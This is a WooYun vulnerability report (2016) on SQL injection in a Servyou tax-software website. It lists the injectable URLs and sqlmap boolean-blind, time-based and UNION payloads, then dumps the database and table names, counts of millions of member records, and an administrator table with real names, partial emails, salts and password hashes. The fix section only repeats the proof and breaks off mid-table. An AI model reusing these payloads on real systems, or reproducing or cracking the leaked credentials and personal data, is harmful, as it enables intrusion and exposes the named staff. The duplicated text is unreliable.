当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0167860

漏洞标题：税友软件集团股份有限公司某处存在注入（上千万条信息）

相关厂商：税友软件集团股份有限公司

漏洞作者： 头晕脑壳疼

提交时间：2016-01-07 12:10

修复时间：2016-02-22 16:48

公开时间：2016-02-22 16:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-07： 细节已通知厂商并且等待厂商处理中
2016-01-11： 厂商已经确认，细节仅向厂商公开
2016-01-21： 细节向核心白帽子及相关领域专家公开
2016-01-31： 细节向普通白帽子公开
2016-02-10： 细节向实习白帽子公开

简要描述：

详细说明：

跟着大侠的脚步走

漏洞证明：

<img src="http://**.**.**.**/bugs/wooyun-2015-0165909" alt="" />
看到这个懂，于是就来看看这个站
多个注入点，举两处
http://**.**.**.**/?m=content&c=index&a=download&cat_id=206*&menu_id=204
http://**.**.**.**/?m=content&c=index&a=download&cat_id=244*&menu_id=242
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/?m=content&c=index&a=download&cat_id=206 AND 7025=7025&menu_id=204
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://**.**.**.**:80/?m=content&c=index&a=download&cat_id=206 AND (SELECT * FROM (SELECT(SLEEP(5)))Eedw)&menu_id=204
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://**.**.**.**:80/?m=content&c=index&a=download&cat_id=206 UNION ALL SELECT 57,57,CONCAT(0x71716a6271,0x6173706866556578716c,0x717a627671),57,57,57,57,57-- &menu_id=204
---
[16:54:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[16:54:16] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] syw
[*] test
至于能泄露多少信息我也不知道

+---------------------------------+---------+
| Table                           | Entries |
+---------------------------------+---------+
| syw_ywxt_interface_log_0825     | 52949168 |
| syw_ywxt_interface_log          | 35127651 |
| syw_member                      | 8164065 |
| syw_sso_members                 | 8164063 |
| syw_ywxt_zxdd                   | 150496  |
| syw_log                         | 84595   |
| syw_ywxt_zxdd_tlxx              | 66688   |
| syw_ywxt_zxdd_alixx             | 61374   |
| app_access_log                  | 37452   |
| syw_ywxt_trainapply             | 31561   |
| syw_poster_201505               | 25976   |
| syw_poster_201507               | 15171   |
| syw_ywxt_trainapply_gd          | 12478   |
| syw_category_priv               | 6569    |
| syw_sso_messagequeue            | 5022    |
| syw_poster_201512               | 4561    |
| syw_keyword_data                | 3940    |
| syw_admin_role_priv             | 3834    |
| syw_attachment                  | 3618    |
| syw_linkage                     | 3284    |
| syw_model_field                 | 2898    |
| syw_ywxt_train_apply_1427698855 | 2890    |
| syw_hits                        | 2723    |
| syw_poster_201504               | 2711    |
| syw_poster_201508               | 2695    |
| syw_search                      | 2670    |
| syw_keyword                     | 2130    |
| syw_poster_201506               | 1930    |
| syw_template_bak                | 1783    |
| syw_ywxt_train_apply_1427699092 | 1640    |
| syw_ywxt_zxdd_icbcxx            | 1547    |
| syw_ywxt_etax_line              | 1466    |
| syw_poster_201509               | 1462    |
| syw_ywxt_notify_info            | 1439    |
| syw_ywxt_train_apply_1429517029 | 1255    |
| syw_poster_201511               | 1236    |
| syw_ywxt_train_apply_1427699043 | 1176    |
| syw_attachment_index            | 1175    |
| syw_session                     | 1109    |
| syw_poster_201510               | 1091    |
| syw_badword                     | 1058    |
| syw_ywxt_content_hits           | 785     |
| syw_hswy_ycs_syjt_data          | 771     |
| syw_hswy_ycs_syjt               | 753     |
| syw_business_guide_syjt         | 676     |
| syw_business_guide_syjt_data    | 676     |
| syw_ywxt_train_apply_1429517118 | 603     |
| syw_ywxt_train_colfield         | 499     |
| syw_category                    | 476     |
| syw_ywxt_train_apply_1430707470 | 462     |
| syw_ywxt_train_class            | 419     |
| syw_menu                        | 408     |
| syw_ywxt_train_apply_1429517295 | 407     |
| syw_ywxt_train_apply_1429517198 | 387     |
| syw_poster_201601               | 311     |
| syw_ywxt_product                | 311     |
| syw_news_sh                     | 306     |
| syw_news_sh_data                | 306     |
| syw_ywxt_train_apply_1436144476 | 296     |
| syw_ywxt_calendar               | 259     |
| syw_ywxt_train_apply_1438052366 | 242     |
| syw_news                        | 225     |
| syw_news_data                   | 225     |
| syw_wkc_video                   | 223     |
| syw_position_data               | 218     |
| syw_favorite                    | 193     |
| syw_cache                       | 191     |
| syw_news_gd                     | 173     |
| syw_news_gd_data                | 173     |
| syw_datacollect                 | 151     |
| syw_ywxt_train_apply_1433146789 | 145     |
| syw_news_gx                     | 142     |
| syw_news_gx_data                | 142     |
| syw_model                       | 134     |
| syw_content_check               | 128     |
| syw_wkc_ask                     | 121     |
| syw_ywxt_train                  | 113     |
| syw_ywxt_train_apply_1429532114 | 93      |
| syw_ywxt_train_apply_1430787716 | 91      |
| syw_ywxt_train_apply_1434092955 | 89      |
| syw_ywxt_train_apply_1433146745 | 88      |
| syw_ywxt_gift                   | 87      |
| syw_download_sz                 | 85      |
| syw_download_sz_data            | 85      |
| syw_ywxt_train_apply_1449044689 | 80      |
| syw_news_fj                     | 74      |
| syw_news_fj_data                | 74      |
| syw_type                        | 74      |
| syw_news_cq                     | 73      |
| syw_news_cq_data                | 73      |
| syw_ywxt_train_apply_1429517335 | 73      |
| syw_admin                       | 64      |
| syw_news_sz_data                | 63      |
| syw_times                       | 63      |
| syw_download_sh                 | 58      |
| syw_download_sh_data            | 58      |
| syw_news_sz                     | 58      |
| syw_ywxt_train_apply_1429578564 | 58      |
| syw_position                    | 57      |
| syw_ywxt_train_apply_1436351398 | 55      |
| syw_news_jx                     | 49      |
| syw_news_jx_data                | 49      |
| syw_wkc_type                    | 49      |
| syw_news_gs                     | 47      |
| syw_news_gs_data                | 47      |
| syw_news_hb                     | 46      |
| syw_news_hb_data                | 46      |
| syw_download_sx                 | 45      |
| syw_download_sx_data            | 45      |
| syw_admin_role                  | 44      |
| syw_risk_taxsaving_syjt         | 44      |
| syw_risk_taxsaving_syjt_data    | 44      |
| syw_ywxt_train_apply_1426146480 | 44      |
| syw_download_gd                 | 43      |
| syw_download_gd_data            | 43      |
| syw_ywxt_train_apply_1433146836 | 43      |
| syw_news_sx                     | 42      |
| syw_news_sx_data                | 42      |
| syw_module                      | 41      |
| syw_ywxt_train_apply_1429578573 | 40      |
| syw_ywxt_train_apply_1449044311 | 40      |
| syw_member_detail               | 39      |
| syw_ywxt_train_apply_1438765991 | 39      |
| syw_ywxt_train_apply_1429166513 | 38      |
| syw_news_xj                     | 36      |
| syw_news_xj_data                | 36      |
| syw_poster                      | 35      |
| syw_ywxt_system_params          | 35      |
| syw_news_qh                     | 33      |
| syw_news_qh_data                | 33      |
| syw_ywxt_train_apply_1429578563 | 33      |
| syw_news_tj                     | 29      |
| syw_news_tj_data                | 29      |
| syw_ywxt_dm_fzgs                | 28      |
| syw_ywxt_train_apply_1437012954 | 27      |
| syw_news_ah                     | 26      |
| syw_news_ah_data                | 26      |
| syw_ywxt_dm_cpdl                | 26      |
| syw_ywxt_train_apply_1428998563 | 26      |
| syw_ywxt_train_apply_1434093004 | 26      |
| syw_download_fj                 | 24      |
| syw_download_fj_data            | 24      |
| syw_ywxt_train_apply_1429578562 | 24      |
| syw_ywxt_train_apply_1449044637 | 23      |
| syw_banner_sh                   | 22      |
| syw_banner_sh_data              | 22      |
| syw_banner_sz                   | 22      |
| syw_banner_sz_data              | 22      |
| syw_upvote                      | 21      |
| syw_upvote_record               | 21      |
| syw_news_shanxi                 | 20      |
| syw_news_shanxi_data            | 20      |
| syw_site                        | 20      |
| syw_banner_gx                   | 19      |
| syw_banner_gx_data              | 19      |
| syw_banner_xj                   | 19      |
| syw_banner_xj_data              | 19      |
| syw_news_hn                     | 19      |
| syw_news_hn_data                | 19      |
| syw_sso_session                 | 19      |
| syw_download_cq                 | 18      |
| syw_download_cq_data            | 18      |
| syw_download_jx                 | 18      |
| syw_download_jx_data            | 18      |
| syw_news_gz                     | 18      |
| syw_news_gz_data                | 18      |
| syw_ywxt_train_apply_1426147546 | 18      |
| syw_banner_cq                   | 17      |
| syw_banner_cq_data              | 17      |
| syw_banner_fj                   | 17      |
| syw_banner_fj_data              | 17      |
| syw_banner_gs                   | 17      |
| syw_banner_gs_data              | 17      |
| syw_banner_hb                   | 17      |
| syw_banner_hb_data              | 17      |
| syw_banner_tj                   | 17      |
| syw_banner_tj_data              | 17      |
| syw_poster_space                | 16      |
| syw_ywxt_ddzt                   | 16      |
| syw_ywxt_train_apply_1429156296 | 16      |
| syw_banner_gd                   | 15      |
| syw_banner_gd_data              | 15      |
| syw_banner_qh                   | 15      |
| syw_banner_qh_data              | 15      |
| syw_banner_sx                   | 15      |
| syw_banner_sx_data              | 15      |
| syw_ywxt_train_apply_1434093074 | 15      |
| syw_latest_policy_syjt          | 14      |
| syw_latest_policy_syjt_data     | 14      |
| syw_news_zj                     | 14      |
| syw_news_zj_data                | 14      |
| syw_ywxt_app_rightpic           | 14      |
| syw_ywxt_train_apply_1436429988 | 14      |
| syw_ywxt_train_apply_1438856174 | 14      |
| syw_banner_ah                   | 12      |
| syw_banner_ah_data              | 12      |
| syw_banner_hn                   | 12      |
| syw_banner_hn_data              | 12      |
| syw_ywxt_job                    | 12      |
| syw_ywxt_train_apply_1431928549 | 12      |
| syw_ywxt_train_apply_1436420509 | 12      |
| syw_ywxt_fzgs_cpb               | 11      |
| syw_ywxt_train_apply_1426745217 | 11      |
| syw_banner                      | 10      |
| syw_banner_data                 | 10      |
| syw_banner_jx                   | 10      |
| syw_banner_jx_data              | 10      |
| syw_download_qh                 | 10      |
| syw_download_qh_data            | 10      |
| syw_ywxt_app_mempic             | 10      |
| syw_ywxt_train_apply_1437014202 | 10      |
| syw_ywxt_train_apply_1429578560 | 9       |
| syw_ywxt_train_apply_1436351356 | 9       |
| syw_urlrule                     | 8       |
| syw_banner_shanxi               | 7       |
| syw_banner_shanxi_data          | 7       |
| syw_member_group                | 7       |
| syw_ywxt_train_apply_1427709666 | 7       |
| syw_ywxt_train_apply_1428998005 | 7       |
| syw_ywxt_train_apply_1436419113 | 7       |
| syw_ywxt_train_apply_1445319489 | 7       |
| syw_yxfw_type                   | 7       |
| syw_admin_panel                 | 6       |
| syw_download                    | 6       |
| syw_download_data               | 6       |
| syw_download_gs                 | 6       |
| syw_download_gs_data            | 6       |
| syw_recruit_fj                  | 6       |
| syw_recruit_fj_data             | 6       |
| syw_ywxt_dm_ywdl                | 6       |
| syw_ywxt_train_apply_1427376466 | 6       |
| syw_ywxt_train_apply_1428998038 | 6       |
| syw_ywxt_train_apply_1430813685 | 6       |
| syw_banner_gz                   | 5       |
| syw_banner_gz_data              | 5       |
| syw_recruit_sh                  | 5       |
| syw_recruit_sh_data             | 5       |
| syw_sso_settings                | 5       |
| syw_ywxt_dm_khlx                | 5       |
| syw_ywxt_mempic                 | 5       |
| syw_ywxt_train_apply_1428997902 | 5       |
| syw_banner_zj                   | 4       |
| syw_banner_zj_data              | 4       |
| syw_comment                     | 4       |
| syw_comment_data_1              | 4       |
| syw_download_gx                 | 4       |
| syw_download_gx_data            | 4       |
| syw_message                     | 4       |
| syw_workflow                    | 4       |
| syw_ywxt_sign                   | 4       |
| syw_ywxt_train_apply_1428998522 | 4       |
| syw_ywxt_train_apply_1436350940 | 4       |
| syw_ywxt_train_apply_1447054844 | 4       |
| syw_download_ah                 | 3       |
| syw_download_ah_data            | 3       |
| syw_download_gz                 | 3       |
| syw_download_gz_data            | 3       |
| syw_download_tj                 | 3       |
| syw_download_tj_data            | 3       |
| syw_hswy_banner_sz              | 3       |
| syw_hswy_banner_sz_data         | 3       |
| syw_member_menu                 | 3       |
| syw_ywxt_train_apply_1429578572 | 3       |
| syw_ywxt_train_apply_1436418841 | 3       |
| syw_ywxt_train_apply_1436767606 | 3       |
| syw_ywxt_train_apply_1438761035 | 3       |
| syw_ywxt_train_apply_1444284839 | 3       |
| syw_ywxt_train_apply_1447811099 | 3       |
| syw_ywxt_train_apply_1448852726 | 3       |
| syw_download_shanxi             | 2       |
| syw_download_shanxi_data        | 2       |
| syw_hswy_ycs_hb                 | 2       |
| syw_hswy_ycs_hb_data            | 2       |
| syw_link                        | 2       |
| syw_recruit_gd                  | 2       |
| syw_recruit_gd_data             | 2       |
| syw_recruit_hb                  | 2       |
| syw_recruit_hb_data             | 2       |
| syw_recruit_jx                  | 2       |
| syw_recruit_jx_data             | 2       |
| syw_ywxt_train_apply_1426147499 | 2       |
| syw_ywxt_train_apply_1428465907 | 2       |
| syw_ywxt_train_apply_1430813688 | 2       |
| syw_ywxt_train_apply_1436422604 | 2       |
| syw_ywxt_train_apply_1447745305 | 2       |
| syw_ywxt_yjdc                   | 2       |
| syw_yxfwurl                     | 2       |
| syw_comment_setting             | 1       |
| syw_comment_table               | 1       |
| syw_datacollect_config          | 1       |
| syw_download_hn                 | 1       |
| syw_download_hn_data            | 1       |
| syw_hswy_ycs_gd                 | 1       |
| syw_hswy_ycs_gd_data            | 1       |
| syw_hswy_ycs_sc                 | 1       |
| syw_hswy_ycs_sc_data            | 1       |
| syw_hswy_ycs_syjt_bak1203       | 1       |
| syw_hswy_ycs_syjt_data_bak1203  | 1       |
| syw_poster_201502               | 1       |
| syw_poster_201503               | 1       |
| syw_recruit_sz                  | 1       |
| syw_recruit_sz_data             | 1       |
| syw_sso_admin                   | 1       |
| syw_sso_applications            | 1       |
| syw_tag                         | 1       |
| syw_wap                         | 1       |
| syw_wkc_banner                  | 1       |
| syw_wkc_wxpic                   | 1       |
| syw_ywxt_hjmd                   | 1       |
| syw_ywxt_robot_timeset          | 1       |
| syw_ywxt_train_apply_1422522857 | 1       |
| syw_ywxt_train_apply_1422934389 | 1       |
| syw_ywxt_train_apply_1428395111 | 1       |
| syw_ywxt_train_apply_1428465851 | 1       |
| syw_ywxt_train_apply_1429517430 | 1       |
| syw_ywxt_train_apply_1432708191 | 1       |
| syw_ywxt_train_apply_1432709704 | 1       |
| syw_ywxt_train_apply_1436419353 | 1       |
| syw_ywxt_train_apply_1436422600 | 1       |
| syw_ywxt_train_apply_1439954836 | 1       |
| syw_ywxt_train_apply_1448431809 | 1       |
| syw_ywxt_train_apply_1448864712 | 1       |
+---------------------------------+---------+


八百多万条信息

3.png


例举10条

2.png


管理员帐户信息

+--------+--------+---------+---------+--------------------------+---------+----------+----------+----------------------------------+-----------------+---------------+
| roleid | userid | lang    | card    | email                    | encrypt | username | realname | password                         | lastloginip     | lastlogintime |
+--------+--------+---------+---------+--------------------------+---------+----------+----------+----------------------------------+-----------------+---------------+
| 1      | 1      | <blank> | <blank> | localhost@**.**.**.** | 7B67tf  | servyou  | <blank>  | dcb6160a94d0b51c3359ab15781dddf1 | **.**.**.**   | 1452055898    |
| 8      | 2      | <blank> | <blank> | zkg@**.**.**.**       | entsYp  | zkg      | 钟宽根      | ec6d410988d053b9f542709ff51092d8 | **.**.**.**  | 1452047546    |
| 9      | 3      | <blank> | <blank> | lingwy@**.**.**.**    | b8y3kR  | lingwy   | 凌雯艳      | 0a31d2766483d2624967e772ebd4c87a | **.**.**.**  | 1452059241    |
| 10     | 4      | zh-cn   | <blank> | linhm@**.**.**.**     | wSqg39  | dzx      | 林慧梅      | 2cb087ccbe37e896b9e3cab1c60d9c55 | **.**.**.**   | 1451359316    |
| 16     | 35     | <blank> | <blank> | wkctest@**.**.**.**   | 6NgZzI  | wkctest  | wkctest  | 8780532e67550dabb6f65a53f3423722 | **.**.**.**  | 1451384508    |
| 14     | 11     | <blank> | <blank> | xgh@**.**.**.**       | psWnG7  | xgh      | 徐国华      | 73c80a969e40fbb27cada99021a47d62 | **.**.**.**  | 1451385359    |
| 14     | 10     | <blank> | <blank> | bjg@**.**.**.**       | dASAMF  | bjg      | 白江       | 431213551ef75f9cbe35b6adbb286bd4 | **.**.**.**  | 1451386136    |
| 15     | 12     | <blank> | <blank> | zhfq@**.**.**.**      | vDIyvt  | zhfq     | 郑富强      | 4b3dc69799752c9962f4b35c081c5d92 | **.**.**.**   | 1452047216    |
| 16     | 13     | <blank> | <blank> | zhx@**.**.**.**       | fyDuaC  | wkcgl    | 微课程      | 6fe11b0501f4e53bd53ef57d0f08fc07 | **.**.**.** | 1451959611    |
| 17     | 14     | <blank> | <blank> | zkf@**.**.**.**       | 26PtlY  | zkf      | 张科峰      | aac306e797e0c63caa75e00838f05cf3 | **.**.**.**   | 1452061301    |
| 17     | 15     | <blank> | <blank> | wzf@**.**.**.**       | YEW1pu  | wzf      | 吴战飞      | b68f2a08e187fc41afd754dd61ae6d8d | **.**.**.**  | 1426236095    |
| 18     | 17     | <blank> | <blank> | fzf@**.**.**.**       | B81jiU  | fzf      | 冯泽锋      | 1303be4711908006563e7ca96d4da869 | **.**.**.**  | 1452065247    |
| 19     | 25     | <blank> | <blank> | chenlina@**.**.**.**  | VXf46G  | chenlina | 陈立娜      | f512b0967655f27f83f09fb0857f5de3 | **.**.**.**    | 1451973926    |
| 19     | 18     | <blank> | <blank> | cuiyf@**.**.**.**     | 2uCAjP  | cuiyf    | 崔云飞      | 7d660b995f16b342e0d9667379a2984c | **.**.**.**  | 1448336489    |
| 14     | 19     | <blank> | <blank> | hjm@**.**.**.**       | XZICXN  | hjm      | 何结明      | 26469418929e7150e2ceb5f279aa9466 | **.**.**.**   | 1440398445    |
| 20     | 20     | <blank> | <blank> | szgl@**.**.**.**      | hmd2j7  | szgl     | <blank>  | 2b4589c90b404c895c3a58c9d3883caf | **.**.**.**   | 1452046944    |
| 23     | 23     | <blank> | <blank> | zkf@**.**.**.**       | tj1evi  | zkf1     | 张科峰      | 1f4e315c1e269086f365bdf70ea19783 | **.**.**.**  | 1449712207    |
| 21     | 21     | <blank> | <blank> | wanglin@**.**.**.**   | M7lImu  | wanglin  | 王林       | caef4368e47171d0bc0df6a68d144f2c | **.**.**.**    | 1452059351    |
| 22     | 22     | <blank> | <blank> | heyong@**.**.**.**    | uQJh8u  | heyong   | 何勇       | 95e38614aa96d5c16d97c40970c5a8bb | **.**.**.**   | 1451975013    |
| 26     | 27     | <blank> | <blank> | wyn@**.**.**.**       | JxwSN6  | wyn      | 文艳       | 1440ad1b7fd74145497b86a7628cbfd4 | **.**.**.**  | 1451884983    |
| 24     | 24     | <blank> | <blank> | liangb@**.**.**.**    | 3LhQhn  | liangb   | 梁冰       | 7b16b6f76dfe5fb3eb2ca63a1fbe174e | **.**.**.**  | 1442970685    |
| 25     | 26     | <blank> | <blank> | huangya@**.**.**.**   | K2XGGG  | huangya  | 黄雅       | 8152970fbef73a9540bbd515f073f581 | **.**.**.**   | 1452060456    |
| 26     | 28     | <blank> | <blank> | fqg@**.**.**.**       | eckhj7  | fqg      | <blank>  | b21da209224c54020e943649b755646f | **.**.**.**  | 1450260345    |
| 26     | 29     | <blank> | <blank> | lili@**.**.**.**      | NuKFSw  | lili     | <blank>  | 03f70b66c8c91960ca8df6bbfbe0d4a8 | **.**.**.**  | 1445312807    |
| 27     | 30     | <blank> | <blank> | liujq@**.**.**.**     | yjgstb  | liujq    | 刘嘉祺      | 8f2605a5b13718f0a40d072644e523f0 | **.**.**.** | 1451459001    |
| 28     | 31     | <blank> | <blank> | jyh@**.**.**.**       | ahgPZD  | jyh      | 金宇辉      | 96717507a61e86856c0cf663d45e699d | **.**.**.**  | 1444633768    |
| 28     | 32     | <blank> | <blank> | hying@**.**.**.**     | Ez357Q  | hying    | 韩瑛       | 6b76ab329a07c8351e9fe8d5b78ab6bd | **.**.**.**  | 1451956879    |
| 29     | 33     | <blank> | <blank> | chyming@**.**.**.**   | luDAa3  | chyming  | 陈叶鸣      | dab2849adad2b1f367b9395bbba75179 | **.**.**.**   | 1451980562    |
| 30     | 34     | <blank> | <blank> | rzg@**.**.**.**       | Uha7I9  | zjgly    | <blank>  | 10c4fb941579dfd69bdeb29bcb3dfdd2 | **.**.**.** | 1441074352    |
| 31     | 36     | <blank> | <blank> | wkcask1@**.**.**.**   | DIq9SM  | wkcask1  | wkcask1  | 6e24d13712cbad649e718ad2a4dcbf5e | NULL            | 0             |
| 31     | 37     | <blank> | <blank> | wkcask2@**.**.**.**   | HI8zAY  | wkcask2  | wkcask2  | e979ef8a4e43f2f4ae47192dcb2fd038 | NULL            | 0             |
| 31     | 38     | <blank> | <blank> | wkcask3@**.**.**.**   | 6egDCu  | wkcask3  | wkcask3  | 08f9f20ad48b106855e8b1f9cb53d7f3 | NULL            | 0             |
| 31     | 39     | <blank> | <blank> | wkcask4@**.**.**.**   | W58sLn  | wkcask4  | wkcask4  | dfb901e089ac2d5d9e58c19de319f924 | NULL            | 0             |
| 31     | 40     | <blank> | <blank> | wkcask5@**.**.**.**   | XRu9uq  | wkcask5  | wkcask5  | 8bd1bfaae09ee26d670442de790ab847 | NULL            | 0             |
| 31     | 41     | <blank> | <blank> | wkcask6@**.**.**.**   | lM7C4Z  | wkcask6  | wkcask6  | 30f6b7b7f873801f3682670774e8bf60 | NULL            | 0             |
| 31     | 42     | <blank> | <blank> | wkcask7@**.**.**.**   | xHHhSf  | wkcask7  | wkcask7  | 4ad1e38dc50f609b3d8bb123e85052d1 | NULL            | 0             |
| 31     | 43     | <blank> | <blank> | wkcask8@**.**.**.**   | AVvDEc  | wkcask8  | wkcask8  | c390016aad366ec78e7551f675a055b6 | NULL            | 0             |
| 31     | 44     | <blank> | <blank> | wkcask9@**.**.**.**   | s7f1Ej  | wkcask9  | wkcask9  | 656d8a2bca4c8ddf30f0c1cb8dd03a0b | **.**.**.**  | 1451388223    |
| 32     | 45     | <blank> | <blank> | lifg@**.**.**.**      | jIt1hN  | lifang   | 李帆       | 5b7f3d59b33d2be0c576e484d2da1e15 | **.**.**.**   | 1449214706    |
| 33     | 46     | <blank> | <blank> | mbsc@**.**.**.**      | vy3xWi  | mbsc     | mbsc     | c629d191ddfa23337a39e80783119d37 | **.**.**.**  | 1442221586    |
| 34     | 47     | <blank> | <blank> | mbjx@**.**.**.**      | IGbGzj  | mbjx     | mbjx     | 5a990fcba18e92c654b5dceb0dcea71a | NULL            | 0             |
| 35     | 48     | <blank> | <blank> | mbah@**.**.**.**      | l5Jk3T  | mbah     | mbah     | 4ff3161f2500651807c2e3b5bcd6f815 | NULL            | 0             |
| 36     | 49     | <blank> | <blank> | mbsz@**.**.**.**      | BRvHGg  | mbsz     | mbsz     | e41d1dcc0206f2ed1309b9f230c17b34 | **.**.**.**   | 1448238789    |
| 37     | 50     | <blank> | <blank> | mbgs@**.**.**.**      | wZksLs  | mbgs     | mbgs     | 82734ebc7f330b9f443b9f38b8a90dd0 | NULL            | 0             |
| 38     | 51     | <blank> | <blank> | mbgd@**.**.**.**      | Qnjs9R  | mbgd     | mbgd     | 5efdacfaac8efac903ad471996dc37a6 | **.**.**.**  | 1445244809    |
| 39     | 52     | <blank> | <blank> | mbhb@**.**.**.**      | g19EaF  | mbhb     | mbhb     | 82c29c7bccea5085d8da03c952d7c824 | **.**.**.**    | 1442798303    |
| 40     | 53     | <blank> | <blank> | mbcq@**.**.**.**      | Kpvy2r  | mbcq     | mbcq     | 716dd767c46c63777057e327ce3c9e99 | NULL            | 0             |
| 41     | 54     | <blank> | <blank> | mbgx@**.**.**.**      | 7qFeN5  | mbgx     | mbgx     | 2b5efc59697c63f5c7e48dcaf86aaee8 | NULL            | 0             |
| 42     | 55     | <blank> | <blank> | mbqh@**.**.**.**      | QPwBTi  | mbqh     | mbqh     | 6076b339cc9af926ec490837beafeddb | NULL            | 0             |
| 43     | 56     | <blank> | <blank> | mbfj@**.**.**.**      | bJjL9B  | mbfj     | mbfj     | c3761630de6d5989c42d2701140417ec | **.**.**.**   | 1451360648    |
| 44     | 57     | <blank> | <blank> | mbshanxi@**.**.**.**  | D6eliX  | mbshanxi | mbshanxi | 0ec993ca09dd6cfd49d295917f32543a | NULL            | 0             |
| 45     | 58     | <blank> | <blank> | mbsx@**.**.**.**      | Xjh4f8  | mbsx     | mbsx     | 09e5336cde400deb0b0d6abcfedeca97 | NULL            | 0             |
| 46     | 59     | <blank> | <blank> | mbxj@**.**.**.**      | W6mFL6  | mbxj     | mbxj     | 41e9c472f68fec5d821395394d31fcb2 | NULL            | 0             |
| 47     | 60     | <blank> | <blank> | mbsh@**.**.**.**      | J2fewG  | mbsh     | mbsh     | 1f053775c487236ce0379acbb160aa59 | **.**.**.**  | 1444635459    |
| 48     | 61     | <blank> | <blank> | mbtj@**.**.**.**      | mFwWwz  | mbtj     | mbtj     | 0dc70c55e63a4566f347ddce5c36cb70 | **.**.**.**   | 1441113334    |
| 49     | 62     | <blank> | <blank> | mbzj@**.**.**.**      | Snva4J  | mbzj     | mbzj     | 12123f840384ef259b5e350fa2776d62 | NULL            | 0             |
| 15     | 63     | <blank> | <blank> | test@**.**.**.**      | BGqvYG  | sztest   | 深圳站管理员测试 | ea68c297dcb704d7058b557e5ab2d04c | **.**.**.**   | 1441168188    |
| 51     | 65     | <blank> | <blank> | gzadmin@**.**.**.**   | EF8evF  | gzadmin  | <blank>  | 77af27621acb71592d0049818a2a61e6 | **.**.**.**    | 1449558940    |
| 50     | 64     | <blank> | <blank> | hnadmin@**.**.**.**   | lpNDUw  | hnadmin  | <blank>  | c915ac3e099eb0dd1917379bb9d47fe3 | **.**.**.**    | 1449559176    |
| 52     | 66     | <blank> | <blank> | zhaohua@**.**.**.**   | QXMBj2  | zhaohua  | 赵华       | b194be2d65df269f5325ae9f0ed8b4f9 | **.**.**.**   | 1451976311    |
| 52     | 67     | <blank> | <blank> | liuhx@**.**.**.**     | YzpZvE  | liuhx    | 刘海星      | 4e247719c0afb627f79b8dec14dc4c9e | **.**.**.**   | 1450853293    |
| 52     | 68     | <blank> | <blank> | limy@**.**.**.**      | PfzVlG  | limy     | 李美英      | 5305221eed6a065b0db35cc95ae9a71b | **.**.**.**   | 1450748300    |
| 52     | 69     | <blank> | <blank> | lifg@**.**.**.**      | iSpXnC  | lifg     | 李帆       | 1fbc8a5542c526216aa380300001f7f4 | **.**.**.**   | 1452049763    |
| 53     | 70     | <blank> | <blank> | ycs-sc@**.**.**.**    | HJNJGz  | ycs_sc   | 四川阅财税管理员 | 6604c30a06cd675ea8d4d844aafbcf13 | **.**.**.**   | 1449713139    |
+--------+--------+---------+---------+--------------------------+---------+----------+----------+----------------------------------+-----------------+---------------+


修复方案：

<img src="http://**.**.**.**/bugs/wooyun-2015-0165909" alt="" />
看到这个懂，于是就来看看这个站
多个注入点，举两处
http://**.**.**.**/?m=content&c=index&a=download&cat_id=206*&menu_id=204
http://**.**.**.**/?m=content&c=index&a=download&cat_id=244*&menu_id=242
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/?m=content&c=index&a=download&cat_id=206 AND 7025=7025&menu_id=204
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://**.**.**.**:80/?m=content&c=index&a=download&cat_id=206 AND (SELECT * FROM (SELECT(SLEEP(5)))Eedw)&menu_id=204
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://**.**.**.**:80/?m=content&c=index&a=download&cat_id=206 UNION ALL SELECT 57,57,CONCAT(0x71716a6271,0x6173706866556578716c,0x717a627671),57,57,57,57,57-- &menu_id=204
---
[16:54:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[16:54:16] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] syw
[*] test
至于能泄露多少信息我也不知道

+---------------------------------+---------+
| Table                           | Entries |
+---------------------------------+---------+
| syw_ywxt_interface_log_0825     | 52949168 |
| syw_ywxt_interface_log          | 35127651 |
| syw_member                      | 8164065 |
| syw_sso_members                 | 8164063 |
| syw_ywxt_zxdd                   | 150496  |
| syw_log                         | 84595   |
| syw_ywxt_zxdd_tlxx              | 66688   |
| syw_ywxt_zxdd_alixx             | 61374   |
| app_access_log                  | 37452   |
| syw_ywxt_trainapply             | 31561   |
| syw_poster_201505               | 25976   |
| syw_poster_201507               | 15171   |
| syw_ywxt_trainapply_gd          | 12478   |
| syw_category_priv               | 6569    |
| syw_sso_messagequeue            | 5022    |
| syw_poster_201512               | 4561    |
| syw_keyword_data                | 3940    |
| syw_admin_role_priv             | 3834    |
| syw_attachment                  | 3618    |
| syw_linkage                     | 3284    |
| syw_model_field                 | 2898    |
| syw_ywxt_train_apply_1427698855 | 2890    |
| syw_hits                        | 2723    |
| syw_poster_201504               | 2711    |
| syw_poster_201508               | 2695    |
| syw_search                      | 2670    |
| syw_keyword                     | 2130    |
| syw_poster_201506               | 1930    |
| syw_template_bak                | 1783    |
| syw_ywxt_train_apply_1427699092 | 1640    |
| syw_ywxt_zxdd_icbcxx            | 1547    |
| syw_ywxt_etax_line              | 1466    |
| syw_poster_201509               | 1462    |
| syw_ywxt_notify_info            | 1439    |
| syw_ywxt_train_apply_1429517029 | 1255    |
| syw_poster_201511               | 1236    |
| syw_ywxt_train_apply_1427699043 | 1176    |
| syw_attachment_index            | 1175    |
| syw_session                     | 1109    |
| syw_poster_201510               | 1091    |
| syw_badword                     | 1058    |
| syw_ywxt_content_hits           | 785     |
| syw_hswy_ycs_syjt_data          | 771     |
| syw_hswy_ycs_syjt               | 753     |
| syw_business_guide_syjt         | 676     |
